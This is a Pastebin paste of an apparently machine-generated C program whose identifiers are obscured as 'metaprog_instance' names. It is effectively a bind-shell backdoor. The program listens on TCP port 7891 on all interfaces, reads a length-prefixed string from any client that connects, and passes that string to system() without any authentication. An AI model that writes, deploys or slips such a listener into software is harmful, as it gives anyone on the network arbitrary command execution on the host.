Guest User

Untitled

a guest
Nov 2nd, 2019
182
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 14.15 KB | None | 0 0
  1. //clang test.c -o test -levent -lsodium -O3 -s -lm -DNKCD=NKC_SDL  -I/usr/include/SDL2 -lSDL2 -DNKC_USE_OPENGL=NGL_ES2 -lGLESv2
  2.  
  3. //clang test.c -std=c99 -o test
  4.  
  5. //clang -E incl.h -std=c99 -o incl.c
  6.  
  7. //#include <uv.h>
  8.  
  9. #include "nuklear_cross/nuklear_cross.c"
  10. #include <stdlib.h>
  11. #include <stdio.h>
  12. #include <sodium.h>
  13.  
  14. #include <event.h>
  15.  
  16.  
  17. #include <event2/listener.h>
  18.  
  19.  
  20. #include <pthread.h>
  21.  
  22.  
  23.  
  24.  
  25. #include <stdint.h>
  26. #include <stdarg.h>
  27. #include <string.h>
  28. #include <math.h>
  29. #include <assert.h>
  30. #include <math.h>
  31. #include <limits.h>
  32. #include <time.h>
  33. #include <unistd.h>
  34.  
  35. #include <sys/types.h>
  36. #include <sys/socket.h>
  37. #include <netinet/in.h>
  38. #include <arpa/inet.h>
  39.  
  40. #include <string.h>
  41. #include <fcntl.h>
  42. #include <errno.h>
  43. #include <err.h>
  44.  
  45.  
  46. /*
  47. #define NK_INCLUDE_FIXED_TYPES
  48. #define NK_INCLUDE_STANDARD_IO
  49. #define NK_INCLUDE_STANDARD_VARARGS
  50. #define NK_INCLUDE_DEFAULT_ALLOCATOR
  51. #define NK_INCLUDE_VERTEX_BUFFER_OUTPUT
  52. #define NK_INCLUDE_FONT_BAKING
  53. #define NK_INCLUDE_DEFAULT_FONT
  54. #define NK_IMPLEMENTATION
  55. #define NK_SDL_GLES2_IMPLEMENTATION
  56. #include "nuklear/nuklear.h"
  57. #include "nuklear/demo/sdl_opengles2/nuklear_sdl_gles2.h"
  58. */
  59. struct metaprog_instance_0_structure_definition_2548741854902984705_0 {
  60. };
  61. struct metaprog_instance_0_structure_definition_3642177511173918721_0 {
  62. sa_family_t sa_family;
  63. char sa_data[13];
  64. };
  65. struct metaprog_instance_0_structure_definition_5578471793807900673_0 {
  66. size_t size;
  67. unsigned char *  pointer;
  68. char dynamic;
  69. };
  70. void metaprog_instance_0_function_4320977935275542529(struct metaprog_instance_0_structure_definition_2548741854902984705_0 *  metaprog_instance_0control_2548741854902984705, int metaprog_instance_0control_4506276718865389569, struct metaprog_instance_0_structure_definition_3642177511173918721_0 *  metaprog_instance_0control_3642177511173918721, int metaprog_instance_0control_8196410376892199937, void *  metaprog_instance_0control_7070088048264681473){
  71. unsigned int metaprog_instance_0_variable_3452695436915978241;
  72. unsigned int metaprog_instance_0_4410238972580216321_junction_590385908503271425;
  73. size_t metaprog_instance_0_4410238972580216321__variable_2318477237102077953;
  74. size_t metaprog_instance_0_4410238972580216321__variable_4920272253600911361;
  75. int metaprog_instance_0_4410238972580216321__2766986311218094081_junction_2326568627936888833;
  76. int metaprog_instance_0_4410238972580216321__2766986311218094081__variable_509747296053346305;
  77. unsigned int metaprog_instance_0junction_7936053171791876097;
  78. void *  metaprog_instance_0junction_8767016088755243009;
  79. size_t metaprog_instance_0_variable_8844345594163137537;
  80. size_t metaprog_instance_0_variable_3586288936498898945;
  81. int metaprog_instance_0_4969532210842066945_junction_2326568627936888833;
  82. int metaprog_instance_0_4969532210842066945__variable_509747296053346305;
  83. unsigned char metaprog_instance_0_structure_constant_5578471793807900673_constant_pointer[] = {};
  84. struct metaprog_instance_0_structure_definition_5578471793807900673_0 metaprog_instance_0_structure_constant_5578471793807900673;
  85. metaprog_instance_0_structure_constant_5578471793807900673.pointer = metaprog_instance_0_structure_constant_5578471793807900673_constant_pointer;
  86. metaprog_instance_0_structure_constant_5578471793807900673.size = 0;
  87. metaprog_instance_0_structure_constant_5578471793807900673.dynamic = 0;
  88. size_t metaprog_instance_0_variable_646872548983443457;
  89. size_t metaprog_instance_0_variable_4557865065401919489;
  90. char metaprog_instance_0_variable_5612752739996301313;
  91. unsigned char * metaprog_instance_0_2200701221070594049__8704771874043607041__pointer_4959620725916942337 = (
  92. 0);
  93. size_t metaprog_instance_0_2200701221070594049__8704771874043607041_junction_8975792432874547201;
  94. size_t metaprog_instance_0_2200701221070594049__8704771874043607041__7518564985393729537_junction_980255216194129921;
  95. size_t metaprog_instance_0_2200701221070594049__8704771874043607041__7518564985393729537__variable_2177429585687949313;
  96. void *  metaprog_instance_0_2200701221070594049__8704771874043607041_junction_1903026705664000001;
  97. unsigned char *  metaprog_instance_0_2200701221070594049__8704771874043607041__variable_4812595501410430977;
  98. unsigned char *  metaprog_instance_0_2200701221070594049__8704771874043607041_junction_5710955672280045569;
  99. unsigned char *  metaprog_instance_0_2200701221070594049__8704771874043607041__2552205522106634241_junction_3214489477774540801;
  100. unsigned char *  metaprog_instance_0_2200701221070594049__8704771874043607041__2552205522106634241__variable_3869560095676215297;
  101. unsigned char metaprog_instance_0_2200701221070594049__8704771874043607041__variable_7038475650360878081;
  102. unsigned int metaprog_instance_0_2200701221070594049__8704771874043607041__variable_1884009650724341761;
  103. unsigned int metaprog_instance_0_2200701221070594049__8704771874043607041__variable_8665163479063752705;
  104. unsigned char *  metaprog_instance_0_2200701221070594049_junction_1467613213140058113;
  105. metaprog_instance_0_variable_3452695436915978241 = 0;
  106. metaprog_instance_0_4410238972580216321_junction_590385908503271425 = metaprog_instance_0_variable_3452695436915978241;
  107. unsigned int * metaprog_instance_0_4410238972580216321__pointer_188684700561924097 = (
  108. &(metaprog_instance_0_4410238972580216321_junction_590385908503271425));
  109. metaprog_instance_0_4410238972580216321__variable_2318477237102077953 = 0;
  110. metaprog_instance_0_4410238972580216321__variable_4920272253600911361 = (size_t)sizeof(metaprog_instance_0_4410238972580216321_junction_590385908503271425);
  111. metaprog_instance_0_4410238972580216321__2766986311218094081_junction_2326568627936888833 = metaprog_instance_0control_4506276718865389569;
  112. metaprog_instance_0_4410238972580216321__2766986311218094081__variable_509747296053346305 = MSG_WAITALL;
  113. recv(metaprog_instance_0_4410238972580216321__2766986311218094081_junction_2326568627936888833,metaprog_instance_0_4410238972580216321__pointer_188684700561924097,metaprog_instance_0_4410238972580216321__variable_4920272253600911361,metaprog_instance_0_4410238972580216321__2766986311218094081__variable_509747296053346305);
  114. metaprog_instance_0junction_7936053171791876097 = metaprog_instance_0_4410238972580216321_junction_590385908503271425;
  115. metaprog_instance_0junction_8767016088755243009 = malloc(metaprog_instance_0junction_7936053171791876097);
  116. metaprog_instance_0_variable_8844345594163137537 = 0;
  117. metaprog_instance_0_variable_3586288936498898945 = (size_t)metaprog_instance_0junction_7936053171791876097;
  118. metaprog_instance_0_4969532210842066945_junction_2326568627936888833 = metaprog_instance_0_4410238972580216321__2766986311218094081_junction_2326568627936888833;
  119. metaprog_instance_0_4969532210842066945__variable_509747296053346305 = MSG_WAITALL;
  120. recv(metaprog_instance_0_4969532210842066945_junction_2326568627936888833,metaprog_instance_0junction_8767016088755243009,metaprog_instance_0_variable_3586288936498898945,metaprog_instance_0_4969532210842066945__variable_509747296053346305);
  121. close(metaprog_instance_0_4969532210842066945_junction_2326568627936888833);
  122. metaprog_instance_0_variable_646872548983443457 = 0;
  123. metaprog_instance_0_variable_4557865065401919489 = (size_t)metaprog_instance_0junction_7936053171791876097;
  124. metaprog_instance_0_variable_5612752739996301313 = 1;
  125. metaprog_instance_0_structure_constant_5578471793807900673.pointer = metaprog_instance_0junction_8767016088755243009;
  126. metaprog_instance_0_structure_constant_5578471793807900673.size = metaprog_instance_0_variable_4557865065401919489;
  127. metaprog_instance_0_structure_constant_5578471793807900673.dynamic = metaprog_instance_0_variable_5612752739996301313;
  128. metaprog_instance_0_2200701221070594049__8704771874043607041_junction_8975792432874547201 = metaprog_instance_0_structure_constant_5578471793807900673.size;
  129. metaprog_instance_0_2200701221070594049__8704771874043607041__7518564985393729537_junction_980255216194129921 = metaprog_instance_0_2200701221070594049__8704771874043607041_junction_8975792432874547201;
  130. metaprog_instance_0_2200701221070594049__8704771874043607041__7518564985393729537__variable_2177429585687949313 = (size_t)(metaprog_instance_0_2200701221070594049__8704771874043607041__7518564985393729537_junction_980255216194129921)+1;
  131. metaprog_instance_0_2200701221070594049__8704771874043607041_junction_1903026705664000001 = malloc(metaprog_instance_0_2200701221070594049__8704771874043607041__7518564985393729537__variable_2177429585687949313);
  132. metaprog_instance_0_2200701221070594049__8704771874043607041__variable_4812595501410430977 = (unsigned char * )metaprog_instance_0_2200701221070594049__8704771874043607041_junction_1903026705664000001;
  133. metaprog_instance_0_2200701221070594049__8704771874043607041_junction_5710955672280045569 = metaprog_instance_0_2200701221070594049__8704771874043607041__variable_4812595501410430977;
  134. metaprog_instance_0_2200701221070594049__8704771874043607041__2552205522106634241_junction_3214489477774540801 = metaprog_instance_0_2200701221070594049__8704771874043607041_junction_5710955672280045569;
  135. metaprog_instance_0_2200701221070594049__8704771874043607041__2552205522106634241__variable_3869560095676215297 = (unsigned char * )(metaprog_instance_0_2200701221070594049__8704771874043607041__2552205522106634241_junction_3214489477774540801) + (metaprog_instance_0_2200701221070594049__8704771874043607041_junction_8975792432874547201);
  136. metaprog_instance_0_2200701221070594049__8704771874043607041__variable_7038475650360878081 = 0;
  137. *(metaprog_instance_0_2200701221070594049__8704771874043607041__2552205522106634241__variable_3869560095676215297) = (metaprog_instance_0_2200701221070594049__8704771874043607041__variable_7038475650360878081);
  138. ;
  139. metaprog_instance_0_2200701221070594049__8704771874043607041__variable_1884009650724341761 = 0;
  140. metaprog_instance_0_2200701221070594049__8704771874043607041__variable_8665163479063752705 = (unsigned int)metaprog_instance_0_2200701221070594049__8704771874043607041_junction_8975792432874547201;
  141. memcpy(metaprog_instance_0_2200701221070594049__8704771874043607041_junction_1903026705664000001,metaprog_instance_0_structure_constant_5578471793807900673.pointer,metaprog_instance_0_2200701221070594049__8704771874043607041__variable_8665163479063752705);
  142. if(metaprog_instance_0_structure_constant_5578471793807900673.dynamic)
  143. {
  144. free(metaprog_instance_0_structure_constant_5578471793807900673.pointer);
  145. }
  146. else{
  147. }
  148. ;
  149. metaprog_instance_0_2200701221070594049_junction_1467613213140058113 = metaprog_instance_0_2200701221070594049__8704771874043607041_junction_5710955672280045569;
  150. system(metaprog_instance_0_2200701221070594049_junction_1467613213140058113);
  151. free(metaprog_instance_0_2200701221070594049_junction_1467613213140058113);
  152. ;
  153.  
  154. }
  155.  
  156.  
  157. int main(int argc, char **argv){
  158. struct event_base *  metaprog_instance_0junction_2814571106854301697;
  159. void * metaprog_instance_0_pointer_1485035349480331265 = (
  160. 0);
  161. unsigned short int metaprog_instance_0_variable_980381739165609985;
  162. unsigned int metaprog_instance_0_variable_3525277860165478401;
  163. struct metaprog_instance_0_structure_definition_3642177511173918721_0 metaprog_instance_0_3057162198717032449__structure_constant_4828485785340420097;
  164. struct sockaddr_in metaprog_instance_0_3057162198717032449__structure_constant_3200689137485938689;
  165. unsigned short int metaprog_instance_0_3057162198717032449__variable_6193470534040892417;
  166. struct metaprog_instance_0_structure_definition_3642177511173918721_0 *  metaprog_instance_0_3057162198717032449__variable_3090602111594727425;
  167. unsigned int metaprog_instance_0_3186811645457379329__variable_2453466342047264769;
  168. int metaprog_instance_0_3186811645457379329__variable_1328746194939633665;
  169. struct metaprog_instance_0_structure_definition_3642177511173918721_0 *  metaprog_instance_0_3186811645457379329_junction_9221574704612251649;
  170. int metaprog_instance_0_3186811645457379329__variable_7511325606503066625;
  171. int metaprog_instance_0_3186811645457379329__variable_4566157157552732161;
  172. metaprog_instance_0junction_2814571106854301697 = event_base_new();
  173. metaprog_instance_0_variable_980381739165609985 = 7891;
  174. metaprog_instance_0_variable_3525277860165478401 = 0;
  175. struct metaprog_instance_0_structure_definition_3642177511173918721_0 * metaprog_instance_0_3057162198717032449__pointer_916754196297439233 = (
  176. &(metaprog_instance_0_3057162198717032449__structure_constant_4828485785340420097));
  177. metaprog_instance_0_3057162198717032449__variable_6193470534040892417 = AF_INET;
  178. (metaprog_instance_0_3057162198717032449__structure_constant_3200689137485938689).sin_family = metaprog_instance_0_3057162198717032449__variable_6193470534040892417;
  179. (metaprog_instance_0_3057162198717032449__structure_constant_3200689137485938689).sin_port = htons(metaprog_instance_0_variable_980381739165609985);
  180. (metaprog_instance_0_3057162198717032449__structure_constant_3200689137485938689).sin_addr.s_addr = metaprog_instance_0_variable_3525277860165478401;
  181. struct sockaddr_in * metaprog_instance_0_3057162198717032449__pointer_5420406665473340417 = (
  182. &(metaprog_instance_0_3057162198717032449__structure_constant_3200689137485938689));
  183. metaprog_instance_0_3057162198717032449__variable_3090602111594727425 = (struct metaprog_instance_0_structure_definition_3642177511173918721_0 * )metaprog_instance_0_3057162198717032449__pointer_5420406665473340417;
  184. metaprog_instance_0_3186811645457379329__variable_2453466342047264769 = LEV_OPT_LEAVE_SOCKETS_BLOCKING;
  185. metaprog_instance_0_3186811645457379329__variable_1328746194939633665 = -1;
  186. metaprog_instance_0_3186811645457379329_junction_9221574704612251649 = metaprog_instance_0_3057162198717032449__variable_3090602111594727425;
  187. metaprog_instance_0_3186811645457379329__variable_7511325606503066625 = 0;
  188. metaprog_instance_0_3186811645457379329__variable_4566157157552732161 = (int)sizeof(*(metaprog_instance_0_3186811645457379329_junction_9221574704612251649));
  189. evconnlistener_new_bind(metaprog_instance_0junction_2814571106854301697,metaprog_instance_0_function_4320977935275542529,metaprog_instance_0_pointer_1485035349480331265,metaprog_instance_0_3186811645457379329__variable_2453466342047264769,metaprog_instance_0_3186811645457379329__variable_1328746194939633665,metaprog_instance_0_3186811645457379329_junction_9221574704612251649,metaprog_instance_0_3186811645457379329__variable_4566157157552732161);
  190. ;
  191. event_base_dispatch(metaprog_instance_0junction_2814571106854301697);
  192.  
  193. }
Advertisement
Add Comment
Please, Sign In to add comment